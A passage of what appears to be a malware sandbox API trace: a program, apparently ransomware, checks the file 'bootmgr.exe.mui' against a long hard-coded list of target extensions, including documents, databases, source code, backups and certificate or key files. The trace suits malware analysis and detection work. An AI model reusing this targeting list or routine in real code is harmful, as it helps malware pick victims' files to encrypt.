nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.899] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.899] lstrlenW (lpString=".1cd") returned 4 [0036.899] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".3ds") returned 4 [0036.899] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".3fr") returned 4 [0036.899] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".3g2") returned 4 [0036.899] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".3gp") returned 4 [0036.899] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".7z") returned 3 [0036.899] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.899] lstrlenW (lpString=".accda") returned 6 [0036.899] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0036.899] lstrlenW (lpString=".accdb") returned 6 [0036.899] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0036.899] lstrlenW (lpString=".accdc") returned 6 [0036.899] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0036.899] lstrlenW (lpString=".accde") returned 6 [0036.899] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0036.899] lstrlenW (lpString=".accdt") returned 6 [0036.899] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0036.899] lstrlenW (lpString=".accdw") returned 6 [0036.899] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0036.899] lstrlenW (lpString=".adb") returned 4 [0036.899] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".adp") returned 4 [0036.899] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".ai") returned 3 [0036.899] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0036.899] lstrlenW (lpString=".ai3") returned 4 [0036.899] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".ai4") returned 4 [0036.899] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0036.899] lstrlenW (lpString=".ai5") returned 4 [0036.899] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".ai6") returned 4 [0036.900] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".ai7") returned 4 [0036.900] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".ai8") returned 4 [0036.900] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".anim") returned 5 [0036.900] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0036.900] lstrlenW (lpString=".arw") returned 4 [0036.900] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".as") returned 3 [0036.900] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0036.900] lstrlenW (lpString=".asa") returned 4 [0036.900] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".asc") returned 4 [0036.900] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".ascx") returned 5 [0036.900] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0036.900] lstrlenW (lpString=".asm") returned 4 [0036.900] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".asmx") returned 5 [0036.900] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0036.900] lstrlenW (lpString=".asp") returned 4 [0036.900] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".aspx") returned 5 [0036.900] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0036.900] lstrlenW (lpString=".asr") returned 4 [0036.900] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".asx") returned 4 [0036.900] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".avi") returned 4 [0036.900] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".avs") returned 4 [0036.900] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0036.900] lstrlenW (lpString=".backup") returned 7 [0036.900] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0036.901] lstrlenW (lpString=".bak") returned 4 [0036.901] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".bay") returned 4 [0036.901] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".bd") returned 3 [0036.901] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0036.901] lstrlenW (lpString=".bin") returned 4 [0036.901] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".bmp") returned 4 [0036.901] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".bz2") returned 4 [0036.901] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".c") returned 2 [0036.901] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0036.901] lstrlenW (lpString=".cdr") returned 4 [0036.901] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".cer") returned 4 [0036.901] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".cf") returned 3 [0036.901] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0036.901] lstrlenW (lpString=".cfc") returned 4 [0036.901] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".cfm") returned 4 [0036.901] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".cfml") returned 5 [0036.901] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0036.901] lstrlenW (lpString=".cfu") returned 4 [0036.901] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".chm") returned 4 [0036.901] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".cin") returned 4 [0036.901] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0036.901] lstrlenW (lpString=".class") returned 6 [0036.902] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0036.902] lstrlenW (lpString=".clx") returned 4 [0036.902] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".config") returned 7 [0036.902] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0036.902] lstrlenW (lpString=".cpp") returned 4 [0036.902] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".cr2") returned 4 [0036.902] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".crt") returned 4 [0036.902] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".crw") returned 4 [0036.902] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".cs") returned 3 [0036.902] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0036.902] lstrlenW (lpString=".css") returned 4 [0036.902] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".csv") returned 4 [0036.902] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".cub") returned 4 [0036.902] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".dae") returned 4 [0036.902] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".dat") returned 4 [0036.902] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".db") returned 3 [0036.902] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0036.902] lstrlenW (lpString=".dbf") returned 4 [0036.902] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".dbx") returned 4 [0036.902] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".dc3") returned 4 [0036.902] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0036.902] lstrlenW (lpString=".dcm") returned 4 [0036.902] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dcr") returned 4 [0036.903] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".der") returned 4 [0036.903] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dib") returned 4 [0036.903] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dic") returned 4 [0036.903] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dif") returned 4 [0036.903] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".divx") returned 5 [0036.903] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0036.903] lstrlenW (lpString=".djvu") returned 5 [0036.903] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0036.903] lstrlenW (lpString=".dng") returned 4 [0036.903] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".doc") returned 4 [0036.903] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".docm") returned 5 [0036.903] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0036.903] lstrlenW (lpString=".docx") returned 5 [0036.903] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.903] lstrlenW (lpString=".dot") returned 4 [0036.903] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dotm") returned 5 [0036.903] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0036.903] lstrlenW (lpString=".dotx") returned 5 [0036.903] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0036.903] lstrlenW (lpString=".dpx") returned 4 [0036.903] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dqy") returned 4 [0036.903] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dsn") returned 4 [0036.903] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0036.903] lstrlenW (lpString=".dt") returned 3 [0036.903] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0036.903] lstrlenW (lpString=".dtd") returned 4 [0036.904] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".dwg") returned 4 [0036.904] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".dwt") returned 4 [0036.904] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".dx") returned 3 [0036.904] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0036.904] lstrlenW (lpString=".dxf") returned 4 [0036.904] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".edml") returned 5 [0036.904] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0036.904] lstrlenW (lpString=".efd") returned 4 [0036.904] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".elf") returned 4 [0036.904] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".emf") returned 4 [0036.904] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".emz") returned 4 [0036.904] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".epf") returned 4 [0036.904] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".eps") returned 4 [0036.904] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".epsf") returned 5 [0036.904] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0036.904] lstrlenW (lpString=".epsp") returned 5 [0036.904] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0036.904] lstrlenW (lpString=".erf") returned 4 [0036.904] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".exr") returned 4 [0036.904] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".f4v") returned 4 [0036.904] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0036.904] lstrlenW (lpString=".fido") returned 5 [0036.904] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0036.904] lstrlenW (lpString=".flm") returned 4 [0036.904] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".flv") returned 4 [0036.905] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".frm") returned 4 [0036.905] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".fxg") returned 4 [0036.905] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".geo") returned 4 [0036.905] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".gif") returned 4 [0036.905] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".grs") returned 4 [0036.905] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".gz") returned 3 [0036.905] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0036.905] lstrlenW (lpString=".h") returned 2 [0036.905] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0036.905] lstrlenW (lpString=".hdr") returned 4 [0036.905] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".hpp") returned 4 [0036.905] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".hta") returned 4 [0036.905] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".htc") returned 4 [0036.905] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".htm") returned 4 [0036.905] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".html") returned 5 [0036.905] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0036.905] lstrlenW (lpString=".icb") returned 4 [0036.905] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".ics") returned 4 [0036.905] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".iff") returned 4 [0036.905] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0036.905] lstrlenW (lpString=".inc") returned 4 [0036.906] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".indd") returned 5 [0036.906] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0036.906] lstrlenW (lpString=".ini") returned 4 [0036.906] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".iqy") returned 4 [0036.906] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".j2c") returned 4 [0036.906] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".j2k") returned 4 [0036.906] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".java") returned 5 [0036.906] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0036.906] lstrlenW (lpString=".jp2") returned 4 [0036.906] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".jpc") returned 4 [0036.906] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".jpe") returned 4 [0036.906] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".jpeg") returned 5 [0036.906] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0036.906] lstrlenW (lpString=".jpf") returned 4 [0036.906] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".jpg") returned 4 [0036.906] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".jpx") returned 4 [0036.906] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".js") returned 3 [0036.906] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0036.906] lstrlenW (lpString=".jsf") returned 4 [0036.906] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".json") returned 5 [0036.906] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0036.906] lstrlenW (lpString=".jsp") returned 4 [0036.906] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0036.906] lstrlenW (lpString=".kdc") returned 4 [0036.907] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".kmz") returned 4 [0036.907] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".kwm") returned 4 [0036.907] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".lasso") returned 6 [0036.907] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0036.907] lstrlenW (lpString=".lbi") returned 4 [0036.907] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".lgf") returned 4 [0036.907] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".lgp") returned 4 [0036.907] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".log") returned 4 [0036.907] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".m1v") returned 4 [0036.907] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".m4a") returned 4 [0036.907] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".m4v") returned 4 [0036.907] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".max") returned 4 [0036.907] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".md") returned 3 [0036.907] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0036.907] lstrlenW (lpString=".mda") returned 4 [0036.907] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".mdb") returned 4 [0036.907] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".mde") returned 4 [0036.907] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".mdf") returned 4 [0036.907] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".mdw") returned 4 [0036.907] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".mef") returned 4 [0036.907] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0036.907] lstrlenW (lpString=".mft") returned 4 [0036.908] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mfw") returned 4 [0036.908] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mht") returned 4 [0036.908] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mhtml") returned 6 [0036.908] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0036.908] lstrlenW (lpString=".mka") returned 4 [0036.908] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mkidx") returned 6 [0036.908] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0036.908] lstrlenW (lpString=".mkv") returned 4 [0036.908] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mos") returned 4 [0036.908] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mov") returned 4 [0036.908] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mp3") returned 4 [0036.908] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mp4") returned 4 [0036.908] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mpeg") returned 5 [0036.908] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0036.908] lstrlenW (lpString=".mpg") returned 4 [0036.908] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mpv") returned 4 [0036.908] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mrw") returned 4 [0036.908] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".msg") returned 4 [0036.908] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0036.908] lstrlenW (lpString=".mxl") returned 4 [0036.908] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0036.908] lstrlenW (lpString=".myd") returned 4 [0036.908] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0036.908] lstrlenW (lpString=".myi") returned 4 [0036.908] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0036.908] lstrlenW (lpString=".nef") returned 4 [0036.909] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".nrw") returned 4 [0036.909] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".obj") returned 4 [0036.909] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".odb") returned 4 [0036.909] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".odc") returned 4 [0036.909] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".odm") returned 4 [0036.909] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".odp") returned 4 [0036.909] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".ods") returned 4 [0036.909] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".oft") returned 4 [0036.909] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".one") returned 4 [0036.909] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".onepkg") returned 7 [0036.909] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0036.909] lstrlenW (lpString=".onetoc2") returned 8 [0036.909] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0036.909] lstrlenW (lpString=".opt") returned 4 [0036.909] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".oqy") returned 4 [0036.909] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".orf") returned 4 [0036.909] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".p12") returned 4 [0036.909] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".p7b") returned 4 [0036.909] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".p7c") returned 4 [0036.909] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".pam") returned 4 [0036.909] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0036.909] lstrlenW (lpString=".pbm") returned 4 [0036.910] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pct") returned 4 [0036.910] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pcx") returned 4 [0036.910] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pdd") returned 4 [0036.910] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pdf") returned 4 [0036.910] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pdp") returned 4 [0036.910] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pef") returned 4 [0036.910] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pem") returned 4 [0036.910] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pff") returned 4 [0036.910] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pfm") returned 4 [0036.910] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pfx") returned 4 [0036.910] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".pgm") returned 4 [0036.910] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".php") returned 4 [0036.910] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0036.910] lstrlenW (lpString=".php3") returned 5 [0036.910] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0036.910] lstrlenW (lpString=".php4") returned 5 [0036.910] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0036.910] lstrlenW (lpString=".php5") returned 5 [0036.910] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0036.910] lstrlenW (lpString=".phtml") returned 6 [0036.910] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0036.910] lstrlenW (lpString=".pict") returned 5 [0036.910] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0036.910] lstrlenW (lpString=".pl") returned 3 [0036.910] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0036.910] lstrlenW (lpString=".pls") returned 4 [0036.911] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".pm") returned 3 [0036.911] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0036.911] lstrlenW (lpString=".png") returned 4 [0036.911] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".pnm") returned 4 [0036.911] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".pot") returned 4 [0036.911] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".potm") returned 5 [0036.911] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0036.911] lstrlenW (lpString=".potx") returned 5 [0036.911] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0036.911] lstrlenW (lpString=".ppa") returned 4 [0036.911] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".ppam") returned 5 [0036.911] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0036.911] lstrlenW (lpString=".ppm") returned 4 [0036.911] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".pps") returned 4 [0036.911] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 